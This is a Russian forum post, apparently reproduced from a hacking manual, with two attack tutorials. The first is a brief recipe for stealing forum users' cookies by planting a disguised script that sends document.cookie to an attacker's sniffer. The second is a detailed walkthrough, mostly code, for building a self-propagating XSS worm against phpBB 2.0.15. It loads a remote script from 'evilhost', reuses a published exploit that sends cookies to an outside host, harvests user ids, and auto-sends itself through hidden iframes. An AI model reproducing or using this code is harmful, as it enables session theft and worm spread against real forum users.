Как увести куки с форума
________________________
созайём в блокноте скрипт - <script>
img = new Image(); img.src = "твой сниффер/картинка?"+document.cookie;
</script>
и сохраняем как gif, jpg, jpeg, png...
и заливаем на форум например в подпись, подписываем например - здесь то что вы никогда в жизни не видели и ждем жертв...
и не забываем читать в нете про XSS...
ВСЯ ИНФОРМАЦИЯ В МОЕМ ПОСТЕ ТОЛЬКО В ОЗНАКОМИТЕЛЬНЫХ ЦЕЛЯХ...
Создание xss червя
________________________________________
Сейчас мы будем проводить некоторые манипуляции с браузером пользователя но уже с более сложной целью и, соответственно, с более сложным решением. Без справочника по JS врят-ли Вам удастся здесь обойтись.
Для начала небольшое описание нашего эксперимента. Мы создадим сайт с становленным phpBB версии 2.0.15 (можно взять на диске в папке /phpBB2.0.15/). Назовите хост просто "phpbb" В этой версии phpBB была найдена активная (хранимая) XSS уязвимость в скрипте отправки сообщений, которая работает только с браузером IE.
Основное действие, которое выполнять червь для своего существования - распространение. Распространяться червь будет следующим образом – вместе с сообщением, отправленным жертве будет приходить эксплоит который заставит жертву отослать его ещё кому ни будь. И так до бесконечности. Разбор и изменение эксплойта.
Для начала рассмотрим эксплоит к самой уязвимости который опубликован на milw0rm.com
Вот такая строка должна вставиться в сообщение что бы каждый пользователь отправлял cookies на указанный сниффер. Но, как Вы наверное уже поняли – кража cookies нас не интересует. Поэтому нам придётся изменять
тело эксплойта под свои нужды. Нам интересен следующий участок этого текста:
style='top:expression(eval(this.sss);'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgibin/
shell.jpg?'+document.cookie;this.sss=null`
Для лучшей читабельности разделим его вот так:
style='top:expression(eval(this.sss);'
sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`
Здесь в свойстве style прописано выполнение кода, находящегося в свойстве sss, функцией eval(). А в этом
свойстве находится вот такой код:
i=new/**/Image();
i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;
this.sss=null
Здесь создаётся новое изображение, и как его источник даётся адрес сниффера. Вот именно этот код нам нужно изменить. Теперь перейдём к методике самой атаки. Мы можем пойти двумя путями:
1. Вписать в переменную sss весь код который нам нужен.
2. Вписать в переменную sss код который подключит скрипт со стороннего хоста (там и будет лежать основной код).
В первом варианте нам понадобится оставить сообщение огромных размеров – это очень неудобно, ведь чем меньше само сообщение тем проще находить в нём ошибки и недочёты, если таковые появятся. Тем более червю же нужно будет заниматься самораспространением, и такие объёмы передаваемого текста могут обернуться против нас. Поэтому мы пойдём вторым путём – основной код будем хранить на отдельном хосте, а в сообщение впишем только код осуществляющий запрос к нам на сервер. Этот код просто будет дописывать теги <script></script> у которых свойство src будет указывать на наш сервер. Для этого на хосте evilhost разместите скрипт script.js содержащий всего одну строку:
alert('tested!');
С помощью этого сообщения мы будем проверять – подключился наш код или нет.
Далее нужно будет вписать теги script в тело страницы. Здесь есть 3 пути осуществления подобных действий:
1. Вписать эти теги с помощью метода document.write()
2. Вписать эти теги с помощью innerHTML любого тега находящегося на странице
3. Создать эти теги с помощью DOM-свойств.
Третий вариант наиболее приемлем вот почему – используя метод document.write() можно просто затереть содержимое всего документа, то есть пользователь будет видеть пустую белую страничку. Второй вариант тоже
не подойдёт потому что при приёме сообщения в нём фильтруются символы "<" и ">" - а без них мы не сможем написать <script src='http://evilhost/script.js'></script>. И вот тут нам как раз подходит третий вариант так как с помощью некоторых DOM-методов можно создавать теги просто по их имени избегая фильтруемых символов. Сейчас мы разработаем сам код который будет внедрять в тело документа посторонний скрипт.
Сделаем мы это с помощью одной html-странички и нашего же скрипта script.js.
На хосте phpbb создайте страничку script.html следующего содержания:
<html>
<head>
<title></title>
</head>
<body>
</body>
</html>
Теперь в теге body создайте теги <script></script> и впишите в них следующий код:
// Создаём новый тег script
var sc=document.createElement('script');
// Указываем значение его свойства src
sc.src='http://evilhost/script.js';
// Получаем в массив body все данные тега <body>
var body=document.getElementsByTagName('body');
// С помощью свойсва appendChild создаём наш тег <script>
// как потомок тега body
body[0].appendChild(sc);
Полный код script.html должен выглядеть так:
<html>
<head>
<title></title>
</head>
<body>
<script>
// Создаём новый тег <script>
var sc = document.createElement('script');
// Указываем значение его свойства src
sc.src = 'http://evilhost/script.js';
// Получаем в массив body все данные тега <body>
var body = document.getElementsByTagName('body');
// С помощью свойсва appendChild создаём наш тег script
// как потомок тега body
body[0].appendChild(sc);
</script>
</body>
</html>
Теперь нужно открыть эту страничку в браузере и Вы увидите сообщение со словом "tested!".
Наш код полностью рабочий. Теперь нам нужно объединить его в одну строку и при этом избежать двух проблем:
1. Пробелы. Пробелов нужно сделать как можно меньше и в последствии заменить их на "/**/" (это символы открытия и закрытия комментариев в скрипте).
Решим её вот как. Для начала уберём из кода все комментарии и удалим пробелы около знаков равенства:
var sc=document.createElement('script');
sc.src='http://evilhost/script.js';
var body=document.getElementsByTagName('body');
body[0].appendChild(sc);
Как видите у нас остались только пробелы после "var". Заменим их на "/**/". Далее объединим код в одну строку. У Вас должен получиться следующий текст:
var/**/sc=document.createElement('script');sc.src='http://evilhost/script.js';var/**/body=document.getElements
ByTagName('body');body[0].appendChild(sc);
И вот теперь вторая проблема – кавычки. С ними действительно можно хорошо помаяться если вовремя не уделить им внимание (заметьте - в коде везде используются только одинарные кавычки). Для устранения различных неувязок с кодом в будущем можно использовать функцию escape(), которая заменяет различные специальные символы на их ASCII-аналоги. Что бы получить текст обработанный этой функцией выполним
следующее: весь наш код поместим в функцию escape() в двойные кавычки, и то что получиться поместим в
метод document.write():
document.write(escape("var/**/sc=document.createElement('script');sc.src='http://evilhost/script.js';var/**/bod
y=document.getElementsByTagName('body');body[0].appendChild(sc);");
При выполнении данного кода высветится следующий текст:
var/**/sc%3Ddocument.createElement%28%27script%27%29%3Bsc .src%3D%27http%3A//evilhost/script.js
%27%3Bvar/**/body%3Ddocument.getElementsByTagName%28%27body%27% 29%3Bbody
%5B0%5D.appendChild%28sc%29%3B
Вот именно его мы и поместим в переменную sss. Только перед этим мы поменяем код
style='top:expression(eval(this.sss);'
на
style='top:expression(eval(unescape(this.sss);'
ведь мы свой код проводили через функцию escape(), соответственно при выполнении мы должны привести код обратно в исходный вид, и сделает это функция unescape(). Объединив всё это и вставив в эксплоит мы получим текст сообщения:
Отправьте такое сообщение на любой аккаунт и посмотрите его через IE. Вы увидите сообщение с текстом "tested!".
Не удивляйтесь если сообщение будет выскакивать множество раз (иногда может выскакивать бесконечно). Это недоработка имеющаяся в IE, в версиях 6.* и 7.*. Дальше мы разберёмся с этой проблемой Теперь нам остаётся только модифицировать содержимое script.js вписывая туда код отправки сообщений. Если описывать словами то нам просто нужно вписать туда код генерации iframe`a и заполнить форму отправки
сообщения, которая в нём откроется. Получение случайного номера пользователя.
Перейдём к распространению. Как говорилось выше – распространяться червь будет с помощью рассылки опасных сообщений другим пользователям. Вопрос только в том как найти этих пользователей. Как мне кажется, самый лучший вариант здесь это каким-либо образом проанализировать список пользователей, который выдаёт скрипт memberlist.php – что мы сейчас и сделаем. Сначала, естественно нам нужно создать иллюзию форума с большим количеством пользователей. Для этого есть множество разных способов. Один из них — написать скрипт который добавит в базу 100-200 пользователей. Подумайте, как это сделать. Определять номера пользователей мы будем с помощью анализа ссылок которые появляются в нижней части сайта, указывающие на следующие страницы списка
пользователей. Обратите внимание на то что ссылки заканчиваются не на номер страницы, а на номер пользователя с которого нужно начать просмотр.
То есть мы просто будем отфильтровывать эти номера с помощью JavaScript и выберем из них больший. Сначала нужный нам код мы запишем в script.html и уже после полной проверки и отладки запустим его в основной код червя.
Начальное содержимое script.html следующее:
<html>
<head>
<title></title>
</head>
<body>
<iframe src='http://phpbb/memberlist.php' name='evilframe' id='evilframe' onLoad='test();'></iframe>
<script>
</script>
</body>
</html>
Как видите – по окончанию загрузки фрейм вызывает функцию getMaxUserId(). Давайте напишем её. Алгоритм работы этой функции будет следующий – сначала мы получим код находящийся внутри тегов <body> внутри фрейма. Затем мы с помощью регулярного выражения начнём искать номера пользователей в ссылках внизу страницы. Ну и в конце концов сравним все полученные числа и выберем из них максимальное. Поиск номеров
после ссылок мы будем производить с помощью регулярного выражения.
function getMaxUserId()
{
var body_arr = window.evilframe.document.getElementsByTagName('bo dy');
var body = body_arr[0].innerHTML;
var reg = new RegExp("start=\\d*","g");
m = new Array();
m = body.match(reg);
var max = new String(m[0]);
max = Number(max.replace("start=","");
for(var i = 1; i < m.length; i++)
{
var x = new String(m[i]);
x = Number(x.replace("start=","");
if (x > max) max = x;
}
return max;
}
Сама функция выглядит довольно странно. Давайте разберём пошагово её работу. Сначала функция получает html-код тега <body> от документа который загружен в нашем фрейме. Затем мы создаём регулярное выражение которое ищет в нужно строке совпадения по следующему шаблону: start=[любое количество чисел] Такой поиск осуществляется вот почему – посмотрите на ссылки которые ведут, например, на вторую страницу списка пользователей. Число после "start=" обозначает номер пользователя с которого начинать показ. То есть в нашем случае регулярное выражение найдёт все концы ссылок на списки пользователей и поместит их в массив m. Это будут следующие выражения:
start=50
start=100
start=150
Затем мы просто берём первый элемент массива m и устанавливаем его как максимальное значение. Далее мы с помощью цикла перебираем все ячейки массива m и выбираем самое максимальное число из него. Так как мы собираемся рассылать заражённые письма случайным пользователям то нам нужно написать и функцию получения случайного числа из заданного диапазона. Этой функции мы передадим максимальный номер пользователя (полученный функцией getMaxUserId() и она выдаст любое число в
диапазоне от нуля до указанного нами чиста. В JavaScript такой функции нет. Мы используем следующее решение:
function rand(m,n)
{
m = parseInt(m);
n = parseInt(n);
return Math.floor( Math.random() * (n - m + 1) ) + m;
}
Теперь нам предстоит последний шаг в определении случайного номера пользователя – написать функцию
которая бы объединяла и getMaxUserId() и rand(). Назовём её getRandomUserId():
function getRandomUserId()
{
var max = getMaxUserId();
return rand(0,max);
}
Теперь данная функция будет возвращать случайный номер пользователя. Для проверки работоспособности данного кода напишем функцию test() которая, как Вы помните, запускается при окончании загрузки нашего фрейма:
function test()
{
alert(getRandomUserId();
}
Эта функция нужна будет нам только пока мы работаем в script.html. Обновите страничку несколько раз и Вы увидите сообщения с различными номерами пользователей.
Далее перейдём ко второй части нашей задачи – открытию формы личного сообщения, её заполнению и отправке. Вы уже можете поместить код 3 наших функций (getRandomUserId(),getMaxUserId() и rand() в
script.js, который подключается при просмотре опасного сообщения.
Начинаться наш скрипт должен, как Вы наверное уже догадались, с создания iframe`a который позволит скрипту получить случайный номер пользователя:
// Проверка на кол-во iframe`ов
var iframes = document.getElementsByTagName('iframe');
if (iframes.length == 0)
{
// Создание нового iframe`a в котором откроется
// список пользователей
var iframe = document.createElement('iframe');
iframe.src = 'http://phpbb/memberlist.php';
iframe.id = 'evilframe';
iframe.name = 'evilframe';
// Добавление созданного iframe`a в документ
var body = document.getElementsByTagName('body');
body[0].appendChild(iframe);
iframe = null;
// Установка события onLoad() фрейма
document.getElementById('evilframe').onload = function(){do_it()}
}
Вас, наверное, заинтересует первая и вторая строки. Сейчас объясню для чего они нужны. Помните в самом начале, когда в script.js был только код "alert('test');", я описывал недоработку IE в связи с которой он начинает бесконечно показывать тестовое сообщение? Так вот с iframe`ами может произойти тоже самое, а этого нам не
нужно. Поэтому мы в самом начале скрипта просто проверяем количество iframe`ов которые имеются на странице. Если их число больше нуля то мы ничего не делаем. Соответственно, как бы IE не зацикливался у него получиться добавить только один iframe – чего мы и добиваемся. После окончания загрузки фрейма браузер вызовет функцию do_it(),вот её код:
function do_it()
{
// Получаем случайный номер пользователя
var uid = getRandomUserId();
// с помощью innerHTML мы дописываем в
// тело документа второй фрейм
var body = document.getElementsByTagName('body');
// Ссылка на создание сообщения пользователю
// чей номер нам вернула функция getRandomUserId()
var src = 'http://phpbb/privmsg.php?mode=post&u='+uid;
body[0].innerHTML +="<iframe name='send_frame' id='send_frame' src='"+src+"'
onLoad='send();'></iframe>";
}
Второй фрейм, который добавляется в этой функции do_it(), нужен именно для открытия в нём формы
отправки сообщения. И наконец-то последняя функция – send() - она просто заполнит и отправит форму:
function send()
{
// Эксплоит. То же самое что мы отправляли в сообщении в самом начале.
var exploit = "Hello!www.ut'";
// Тема сообщения
window.send_frame.document.post.subject.value='Hel lo!';
// Содержимое сообщения (эксплоит)
window.send_frame.document.post.message.value=expl oit;
// Отправляем форму
window.send_frame.document.post.post.click();
}
Как видите – ничего сложного. Теперь при просмотре сообщения через IE браузер отправит эксплоит
случайному пользователю. Для полноты картины Вы можете установить свойства width и lenght фреймов в 0
или как-то по другому их скрыть. А что бы не маяться и не искать кому же червь себя отправил просто
посмотрите в базе форума содержимое таблицы phpbb_privmsgs_text. Полный код script.js Вы можете взять на
диске в папке /chapter_2/evilhost/www/.
Автор мануала не я...На случай авторского права и т.п.
Надорвался, рассказывая о том, какую большую рыбину поймал...